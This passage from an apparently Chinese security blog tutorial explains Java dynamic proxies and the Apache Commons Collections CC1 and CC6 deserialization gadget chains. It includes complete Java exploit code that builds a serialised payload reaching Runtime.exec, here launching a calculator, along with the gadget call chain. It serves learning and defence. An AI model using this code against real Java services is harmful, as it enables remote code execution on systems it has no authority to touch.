<strong>\u52a8\u6001\u4ee3\u7406<\/strong>\u3002\u8fd9\u4e24\u79cd\u65b9\u5f0f\u7684\u6838\u5fc3\u601d\u60f3\u662f\uff1a<strong>\u901a\u8fc7\u201c\u4ee3\u7406\u7c7b\u201d\u6765\u95f4\u63a5\u8bbf\u95ee\u201c\u76ee\u6807\u5bf9\u8c61\u201d<\/strong>\uff0c\u53ef\u4ee5\u5728\u8c03\u7528\u76ee\u6807\u5bf9\u8c61\u7684\u65b9\u6cd5\u65f6\u52a0\u5165\u4e00\u4e9b\u589e\u5f3a\u903b\u8f91\uff0c\u6bd4\u5982\u6743\u9650\u6821\u9a8c\u3001\u65e5\u5fd7\u8bb0\u5f55\u3001\u4e8b\u52a1\u7ba1\u7406\u7b49\u3002<\/p>\n\n\n\n<p>\u52a8\u6001\u4ee3\u7406\u5c31\u662f\u5728\u8fd0\u884c\u65f6\uff0c\u52a8\u6001\u5730\u751f\u6210\u67d0\u4e2a\u63a5\u53e3\u7684\u5b9e\u73b0\u7c7b\u5bf9\u8c61\uff0c\u5e76\u5b9e\u73b0\u5b83\u7684\u65b9\u6cd5\u903b\u8f91\u3002\u800c\u4e0d\u50cf\u5e73\u65f6\u90a3\u6837\u624b\u52a8\u5199\u7c7b\u53bb <code>implements <\/code>\u63a5\u53e3\uff0c\u6211\u4eec\u901a\u8fc7\u4ee3\u7801\u201c\u5373\u65f6\u201d\u6784\u9020\u51fa\u8fd9\u4e2a\u5b9e\u73b0\u7c7b\u2014\u2014\u8fd9\u5c31\u53eb\u52a8\u6001\u3002<\/p>\n\n\n\n<p>\u9996\u5148\uff0c\u6211\u4eec\u9700\u8981\u5b9e\u73b0\u4e00\u4e2a\u63a5\u53e3\uff08\u8fd9\u662f\u4e00\u4e2a\u62bd\u8c61\u7c7b\u578b\uff0c\u662f\u62bd\u8c61\u65b9\u6cd5\u7684\u96c6\u5408\uff0c\u63a5\u53e3\u901a\u5e38\u4ee5interface\u6765\u58f0\u660e\u3002\u4e00\u4e2a\u7c7b\u901a\u8fc7\u7ee7\u627f\u63a5\u53e3\u7684\u65b9\u5f0f\uff0c\u4ece\u800c\u6765\u7ee7\u627f\u63a5\u53e3\u7684\u62bd\u8c61\u65b9\u6cd5\uff09\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>interface Service {\n    void doSomething();\n}<\/code><\/pre>\n\n\n\n<p>\u63a5\u7740\u6211\u4eec\u9700\u8981\u5b9a\u4e49\u4e00\u4e2a InvocationHandler\uff0c\u8fd9\u4e2a\u7c7b\u662f\u5e72\u6d3b\u7684\u201c\u5e55\u540e\u9ed1\u624b\u201d\uff0c\u6240\u6709\u7684\u65b9\u6cd5\u8c03\u7528\u90fd\u4f1a\u8d70\u5230\u8fd9\u91cc\uff0c\u7136\u540e\u6211\u4eec\u53ef\u4ee5\u63a7\u5236\u662f\u76f4\u63a5\u6267\u884c\u3001\u505a\u70b9\u989d\u5916\u5904\u7406\u3001\u751a\u81f3\u4e0d\u6267\u884c\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>class MyHandler implements InvocationHandler {\n    private final Object target;\n\n    public MyHandler(Object target) {\n        this.target = target;\n    }\n\n    public Object invoke(Object proxy, Method method, Object&#91;] args) throws Throwable {\n        System.out.println(\"\u8c03\u7528\u524d\uff1a\" + method.getName());\n        Object result = method.invoke(target, args);\n        System.out.println(\"\u8c03\u7528\u540e\uff1a\" + method.getName());\n        return result;\n    }\n}<\/code><\/pre>\n\n\n\n<p>\u7136\u540e\u6211\u4eec\u9700\u8981\u4f7f\u7528 Proxy.newProxyInstance() \u751f\u6210\u4ee3\u7406\u5bf9\u8c61\uff0c\u5b83\u4f1a\u751f\u6210\u4e00\u4e2a\u5b9e\u73b0\u4e86 Service \u63a5\u53e3\u7684\u533f\u540d\u7c7b\u5bf9\u8c61\uff0c\u5e76\u628a\u8c03\u7528\u90fd\u4ea4\u7ed9\u63d0\u4f9b\u7684 handler \u6765\u5904\u7406<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Service proxy = (Service) Proxy.newProxyInstance(\n    Service.class.getClassLoader(),      \/\/ 1. \u63a5\u53e3\u7684\u7c7b\u52a0\u8f7d\u5668\n    new Class&#91;]{Service.class},          \/\/ 2. \u63a5\u53e3\u6570\u7ec4\uff08\u81f3\u5c11\u8981\u4f20\u4e00\u4e2a\uff09\n    new MyHandler(new RealService())     \/\/ 3. InvocationHandler\uff0c\u544a\u8bc9\u4ee3\u7406\u5bf9\u8c61\u600e\u4e48\u505a\u4e8b\n);<\/code><\/pre>\n\n\n\n<p>\u6700\u540e\uff0c\u6211\u4eec\u53ea\u9700\u8981\u4f7f\u7528\u4ee3\u7406\u5bf9\u8c61\u50cf\u5e73\u65f6\u4e00\u6837\u8c03\u7528\u65b9\u6cd5\u5373\u53ef\uff0c\u800c\u6b64\u65f6\u5b9e\u9645\u4e0a\u8d70\u8fdb\u4e86 <code>MyHandler.invoke()<\/code> \u65b9\u6cd5\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>proxy.doSomething();<\/code><\/pre>\n\n\n\n<p>\u603b\u800c\u8a00\u4e4b\uff0c\u52a8\u6001\u4ee3\u7406\u7684\u672c\u8d28\u662f\uff1a\u901a\u8fc7 <code>Proxy<\/code> \u5728\u8fd0\u884c\u65f6\u521b\u5efa\u4e00\u4e2a\u5b9e\u73b0\u63a5\u53e3\u7684\u533f\u540d\u7c7b\uff0c\u5e76\u628a\u5bf9\u63a5\u53e3\u65b9\u6cd5\u7684\u8c03\u7528\u8f6c\u53d1\u7ed9 InvocationHandler \u5b9e\u4f8b\u7684 <code>invoke()<\/code> \u65b9\u6cd5\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package com.CC;\n\nimport java.lang.reflect.InvocationHandler;\nimport java.lang.reflect.Method;\nimport java.lang.reflect.Proxy;\n\ninterface Service {\n    void doSomething();\n}\n\nclass RealService implements Service {\n    public void doSomething() {\n        System.out.println(\"\u771f\u6b63\u7684\u670d\u52a1\u6267\u884c\u4e86\");\n    }\n}\n\nclass MyHandler implements InvocationHandler {\n    private final Object target;\n\n    public MyHandler(Object target) {\n        this.target = target;\n    }\n\n    public Object invoke(Object proxy, Method method, Object&#91;] args) throws Throwable {\n        System.out.println(\"\u8c03\u7528\u524d\uff1a\" + method.getName());\n        Object result = method.invoke(target, args);\n        System.out.println(\"\u8c03\u7528\u540e\uff1a\" + method.getName());\n        return result;\n    }\n}\n\npublic class DynamicProxy_Example {\n    public static void main(String&#91;] args) {\n        Service proxy = (Service) Proxy.newProxyInstance(\n                Service.class.getClassLoader(),      \/\/ 1. \u63a5\u53e3\u7684\u7c7b\u52a0\u8f7d\u5668\n                new Class&#91;]{Service.class},          \/\/ 2. \u63a5\u53e3\u6570\u7ec4\uff08\u81f3\u5c11\u8981\u4f20\u4e00\u4e2a\uff09\n                new MyHandler(new RealService())     \/\/ 3. InvocationHandler\uff0c\u544a\u8bc9\u4ee3\u7406\u5bf9\u8c61\u600e\u4e48\u505a\u4e8b\n        );\n\n        proxy.doSomething();  \/\/ \u5b9e\u9645\u8c03\u7528\u4ee3\u7406\u5bf9\u8c61\u7684\u65b9\u6cd5\n    }\n}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250423-230226-23-4.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250423-230226-23-4.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:762px;height:auto\"\/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">\u4f7f\u7528LazyMap\u6784\u9020\u5229\u7528\u94fe<\/h2>\n\n\n\n<p>\u56de\u5230\u6e90\u7801\uff0csun.reflect.annotation.AnnotationInvocationHandler \u5176\u5b9e\u5c31\u662f\u4e00\u4e2aInvocationHandler\uff0c\u6211\u4eec\u5982\u679c\u7528AnnotationInvocationHandler\u53bb\u4ee3\u7406\u6211\u4eec\u8bbe\u8ba1\u597d\u7684Map\u7684\u8bdd\uff0c\u90a3\u4e48\u8fd9\u4e2aMap\u6267\u884c\u4efb\u610f\u7684\u65b9\u6cd5\u90fd\u4f1a\u8d70invoke\u4ece\u800c\u89e6\u53d1get\uff0c\u4ece\u800c\u8d70\u6211\u4eec\u7684\u94fe\u5b50\u89e6\u53d1RCE\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250423-230907-23-5.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250423-230907-23-5.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:760px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u4e8b\u5b9e\u4e0a\u6211\u4eec\u53ea\u9700\u8981\u7a0d\u5fae\u4fee\u6539\u4e00\u4e0b\u4e0a\u4e00\u8282\u7ed9\u51fa\u7684\u4ee3\u7801\uff0c\u9996\u5148\u7528LazyMap\u66ff\u6362TransformedMap\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Map outerMap = LazyMap.decorate(innerMap, transformerChain);<\/code><\/pre>\n\n\n\n<p>\u63a5\u7740\u5bf9sun.reflect.annotation.AnnotationInvocationHandler\u8fdb\u884cProxy\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Class clazz = Class.forName(\"sun.reflect.annotation.AnnotationInvocationHandler\");\n        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);\n        construct.setAccessible(true);\n        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);\n        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class&#91;]{Map.class}, handler);<\/code><\/pre>\n\n\n\n<p>\u4f46\u5c31\u7b97Proxy\u5b8c\u6211\u4eec\u4e5f\u4e0d\u80fd\u76f4\u63a5\u8fdb\u884c\u5e8f\u5217\u5316\uff0c\u56e0\u4e3a\u6211\u4eec\u7684\u5165\u53e3\u70b9\u662fsun.reflect.annotation.AnnotationInvocationHandler#readObject\uff0c\u8fd8\u8981\u7528AnnotationInvocationHandler\u5bf9\u8fd9\u4e2aproxyMap\u8fdb\u884c\u5305\u88f9\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>handler = (InvocationHandler) construct.newInstance(Retention.class,\nproxyMap);<\/code><\/pre>\n\n\n\n<p>\u73b0\u5728\u7684\u4ee3\u7801\u5982\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package com.CC;\n\nimport org.apache.commons.collections.Transformer;\nimport org.apache.commons.collections.functors.ChainedTransformer;\nimport org.apache.commons.collections.functors.ConstantTransformer;\nimport org.apache.commons.collections.functors.InvokerTransformer;\nimport org.apache.commons.collections.map.LazyMap;\n\nimport java.io.ByteArrayInputStream;\nimport java.io.ByteArrayOutputStream;\nimport java.io.ObjectInputStream;\nimport java.io.ObjectOutputStream;\nimport java.lang.annotation.Retention;\nimport java.lang.reflect.Constructor;\nimport java.lang.reflect.InvocationHandler;\nimport java.lang.reflect.Proxy;\nimport java.util.HashMap;\nimport java.util.Map;\n\npublic class easycc1 {\n    public static void main(String&#91;] args) throws Exception {\n        Transformer&#91;] transformers = new Transformer&#91;]{\n                new ConstantTransformer(Runtime.class),\n                new InvokerTransformer(\"getMethod\", new Class&#91;]{\n                        String.class,\n                        Class&#91;].class}, new Object&#91;]{\"getRuntime\",\n                        new Class&#91;0]}),\n                new InvokerTransformer(\"invoke\", new Class&#91;]{Object.class,\n                        Object&#91;].class}, new Object&#91;]{null, new Object&#91;0]\n                }),\n                new InvokerTransformer(\"exec\", new Class&#91;]{String.class},\n                        new String&#91;]{\n                                \"calc.exe\"}),\n        };\n\n        Transformer transformerChain = new ChainedTransformer(transformers);\n        Map innerMap = new HashMap();\n\n\/\/        innerMap.put(\"value\", \"xxxx\");\n\/\/        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);\n\/\/\n\/\/        Class clazz = Class.forName(\"sun.reflect.annotation.AnnotationInvocationHandler\");\n\/\/        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);\n\/\/        construct.setAccessible(true);\n\/\/        Object obj = construct.newInstance(Retention.class, outerMap);\n        Map outerMap = LazyMap.decorate(innerMap, transformerChain);\n        Class clazz = Class.forName(\"sun.reflect.annotation.AnnotationInvocationHandler\");\n        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);\n        construct.setAccessible(true);\n        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);\n        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class&#91;]{Map.class}, handler);\n        handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);\n\n        ByteArrayOutputStream barr = new ByteArrayOutputStream();\n        ObjectOutputStream oos = new ObjectOutputStream(barr);\n        oos.writeObject(handler);\n        oos.close();\n\n        System.out.println(barr);\n        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));\n        Object o = (Object) ois.readObject();\n\n    }\n}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250423-232248-23-6.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250423-232248-23-6.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u5728\u9ad8\u7248\u672c\u7684AnnotationInvocationHandler\u91cc\u7684\u65b9\u6cd5readObject\u4e2d\uff0c\u6211\u4eec\u4f20\u5165\u7684Map\u4e0d\u4f1a\u518d\u6267\u884cset\u6216put\u64cd\u4f5c\uff0c\u56e0\u6b64\u8be5\u94fe\u5b50\u8fd8\u662f\u6ca1\u7528\u4e86\uff0c\u6211\u4eec\u73b0\u5728\u7684Gadget\u5982\u4e0b\uff08readObject\u91cc\u6709\u4e00\u6b65\u5bf9\u6211\u4eec\u7684LazyMap\u8fdb\u884c\u4e86entrySet\uff0c\u800c\u7ecf\u8fc7\u5bf9\u8c61\u4ee3\u7406\u540e\uff0c\u5bf9LazyMap\u7684\u4efb\u4f55\u65b9\u6cd5\u8c03\u7528\u90fd\u4f1a\u8d70AnnotationInvocationHandler\u7684invoke\uff0c\u7ee7\u800c\u89e6\u53d1get\u67e5\u8be2\u4e3a\u7a7a\uff0c\u6700\u540e\u89e6\u53d1LazyMap\u7684transform\u6267\u884c\u6076\u610f\u4ee3\u7801\uff0c\u6574\u4e2a\u8fc7\u7a0b\u6700\u540e\u5c31\u4e32\u8d77\u6765\u4e86\uff09\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>ObjectInputStream.readObject()\n\t\t\tAnnotationInvocationHandler.readObject()\n\t\t\t\tMap(Proxy).entrySet()\n\t\t\t\t\tAnnotationInvocationHandler.invoke()\n\t\t\t\t\t\tLazyMap.get()\n\t\t\t\t\t\t\tChainedTransformer.transform()\n\t\t\t\t\t\t\t\tConstantTransformer.transform()\n\t\t\t\t\t\t\t\tInvokerTransformer.transform()\n\t\t\t\t\t\t\t\t\tMethod.invoke()\n\t\t\t\t\t\t\t\t\t\tClass.getMethod()\n\t\t\t\t\t\t\t\tInvokerTransformer.transform()\n\t\t\t\t\t\t\t\t\tMethod.invoke()\n\t\t\t\t\t\t\t\t\t\tRuntime.getRuntime()\n\t\t\t\t\t\t\t\tInvokerTransformer.transform()\n\t\t\t\t\t\t\t\t\tMethod.invoke()\n\t\t\t\t\t\t\t\t\t\tRuntime.exec()<\/code><\/pre>\n\n\n\n<h1 class=\"wp-block-heading\">CommonsCollections6<\/h1>\n\n\n\n<p>\u4e0a\u9762\u8bf4\u5230\uff0c\u57288u71\u4e4b\u540eAnnotationInvocationHandler#readObject\u7684\u903b\u8f91\u53d1\u751f\u4e86\u53d8\u5316\uff0c\u4e0d\u518d\u5bf9\u6211\u4eec\u4f20\u5165\u7684Map\u8fdb\u884cset\u6216\u8005put\uff0c\u5bfc\u81f4\u6211\u4eec\u4e4b\u524d\u7684\u94fe\u5b50\u6253\u4e0d\u901a\u4e86\uff0c\u90a3\u4e48\u5982\u4f55\u5728\u9ad8\u7248\u672c\u4e0b\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898\u5462\uff1f\u6211\u4eec\u6765\u770b\u770bp\u795e\u7ed9\u51fa\u7684\u7b80\u5316\u7248gadget\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2Fimage-20221002161146283-24-1.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2Fimage-20221002161146283-24-1.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u6211\u4eec\u4e3b\u8981\u770b\u4ece\u5f00\u59cb\u5230LazyMap.get()\u7684\u90e8\u5206\uff0c\u56e0\u4e3a\u540e\u9762\u7684\u8fc7\u7a0b\u548cCC1\u7684\u94fe\u5b50\u5176\u5b9e\u662f\u4e00\u6837\u7684\uff0c\u60f3\u8981\u5728\u9ad8\u7248\u672c\u4e0b\u5b9e\u73b0RCE\u7684\u601d\u8def\u5176\u5b9e\u4e5f\u6bd4\u8f83\u660e\u663e\uff0c\u5c31\u662f\u627e\u5230\u4e00\u4e2a\u80fd\u89e6\u53d1LazyMap.get()\u7684\u5730\u65b9\uff0c\u4e0a\u4e00\u7ae0\u91cc\u6211\u4eec\u662f\u901a\u8fc7\u52a8\u6001\u4ee3\u7406\uff0c\u4ece <code>AnnotationInvocationHandler.readObject<\/code> \u5230 <code>this.memberValues.entrySet()<\/code> \u518d\u5230 <code>AnnotationInvocationHandler.invoke()<\/code> \u6700\u540e\u89e6\u53d1\u7684\u8fd9\u4e2ainvoke\u91cc\u7684get\u3002\u800c\u5728\u9ad8\u7248\u672c\u4e0b\uff0c\u6211\u4eec\u7684\u89e3\u51b3\u529e\u6cd5\u662f\u8d70 <code>org.apache.commons.collections.keyvalue.TiedMapEntry.getValue<\/code>\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250424-210244-24-2.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250424-210244-24-2.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:669px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u5728\u5b9e\u4f8b\u5316\u7684\u65f6\u5019\u6211\u4eec\u53ef\u4ee5\u76f4\u63a5\u63a7\u5236\u4ed6\u7684map\u548ckey\uff0c\u800cgetValue\u8fd9\u91cc\u76f4\u63a5\u8c03\u7528\u4e86 <code>this.map.get(this.key)<\/code>\uff0c\u53ef\u8c13\u975e\u5e38\u8212\u670d\u3002\u800c\u518d\u56de\u5934\u770b\uff0c\u4ed6\u7684 <code>hashCode<\/code> \u65b9\u6cd5\u53c8\u6267\u884c\u4e86 <code>this.getValue()<\/code> \uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250424-210611-24-3.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250424-210611-24-3.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u90a3\u4e48\u54ea\u91cc\u8c03\u7528\u4e86\u8fd9\u4e2a <code>TiedMapEntry#hashCode <\/code>\u5462\uff0cgadget\u91cc\u662f\u9009\u62e9\u4e86<code> HashMap.hash()<\/code>\uff0c\u662f\u4e0d\u662f\u6709\u70b9\u773c\u719f\uff0c\u8fd9\u4e2a\u5176\u5b9e\u5728URLDNS\u91cc\u51fa\u73b0\u8fc7\uff0cHashMap\u7684readobject\u91cc\u8c03\u7528\u4e86hash\uff0c\u5c31\u662f\u90a3\u884c <code>putVal(hash(key), key, value, false, false)<\/code>\uff0c\u800c <code>HashMap.hash()<\/code> \u89e6\u53d1\u4e86 <code>key.hashCode()<\/code>\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250424-211332-24-4.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250424-211332-24-4.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u6240\u4ee5\u73b0\u5728\u601d\u8def\u975e\u5e38\u6e05\u6670\u4e86\uff0c\u6211\u4eec\u53ea\u8981\u5728\u8fd9\u91cc\u63a7\u5236 key \u4e3a TiedMapEntry \uff0c\u6574\u4e2a\u94fe\u5b50\u5c31\u53c8\u4e32\u8d77\u6765\u4e86\u3002<\/p>\n\n\n\n<p>\u9996\u5148\uff0c\u6211\u4eec\u6765\u521b\u5efa\u4e00\u4e2a\u6076\u610fMap\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Transformer&#91;] transformers = new Transformer&#91;] {\n        new ConstantTransformer(Runtime.class),\n        new InvokerTransformer(\"getMethod\", new Class&#91;] {String.class, Class&#91;].class }, new Object&#91;] { \"getRuntime\", new Class&#91;0] }),\n        new InvokerTransformer(\"invoke\", new Class&#91;] { Object.class, Object&#91;].class }, new Object&#91;] { null, new Object&#91;0]}),\n        new InvokerTransformer(\"exec\", new Class&#91;] { String.class }, new String&#91;] {\"calc.exe\" }),\n};\nTransformer transformerChain = new ChainedTransformer(transformers);\nMap innerMap = new HashMap();\nMap outerMap = LazyMap.decorate(innerMap, transformerChain);<\/code><\/pre>\n\n\n\n<p>\u7a0d\u5fae\u4e0d\u540c\u7684\u662f\uff0c\u4e3a\u4e86\u907f\u514d\u672c\u5730\u8c03\u8bd5\u65f6\u5c31\u51fa\u73b0\u547d\u4ee4\u6267\u884c\uff0c\u8fd9\u91cc\u6211\u4eec\u9700\u8981\u5148\u4f7f\u7528\u4e00\u4e2a\u4eba\u755c\u65e0\u5bb3\u7684 <code>fakeTransformers<\/code>\uff0c\u7b49\u6700\u540e\u751f\u6210payload\u7684\u65f6\u5019\u518d\u628a\u771f\u7684<code>Transformers<\/code>\u5199\u8fdb\u53bb\uff0c\u56e0\u6b64\u73b0\u5728\u4ee3\u7801\u957f\u8fd9\u6837\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Transformer&#91;] faketransformer = new Transformer&#91;]{new ChainedTransformer(new Transformer&#91;]{ new ConstantTransformer(1) })};\n\n        Transformer&#91;] transformers = new Transformer&#91;] {\n                new ConstantTransformer(Runtime.class),\n                new InvokerTransformer(\"getMethod\", new Class&#91;] {\n                        String.class, Class&#91;].class }, new Object&#91;] {\n                        \"getRuntime\", new Class&#91;0] }),\n                new InvokerTransformer(\"invoke\", new Class&#91;] {\n                        Object.class, Object&#91;].class }, new Object&#91;] {\n                        null, new Object&#91;0] }),\n                new InvokerTransformer(\"exec\",\n                        new Class&#91;] { String.class }, new String&#91;]{\"\/System\/Applications\/Calculator.app\/Contents\/MacOS\/Calculator\"}),\n                new ConstantTransformer(1) };\n\n\/\/ \u4f20\u5165fake\u9632\u6b62\u5e8f\u5217\u5316\u65f6\u6267\u884c\n        Transformer transformerChain = new ChainedTransformer(faketransformer);\n        Map innerMap = new HashMap();\n        Map outerMap = LazyMap.decorate(innerMap, transformerChain);<\/code><\/pre>\n\n\n\n<p>\u63a5\u7740\u6211\u4eec\u5c06\u8fd9\u4e2a\u6076\u610fouterMap\u4f5c\u4e3a TiedMapEntry \u7684map\u5c5e\u6027\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>TiedMapEntry tme = new TiedMapEntry(outerMap, 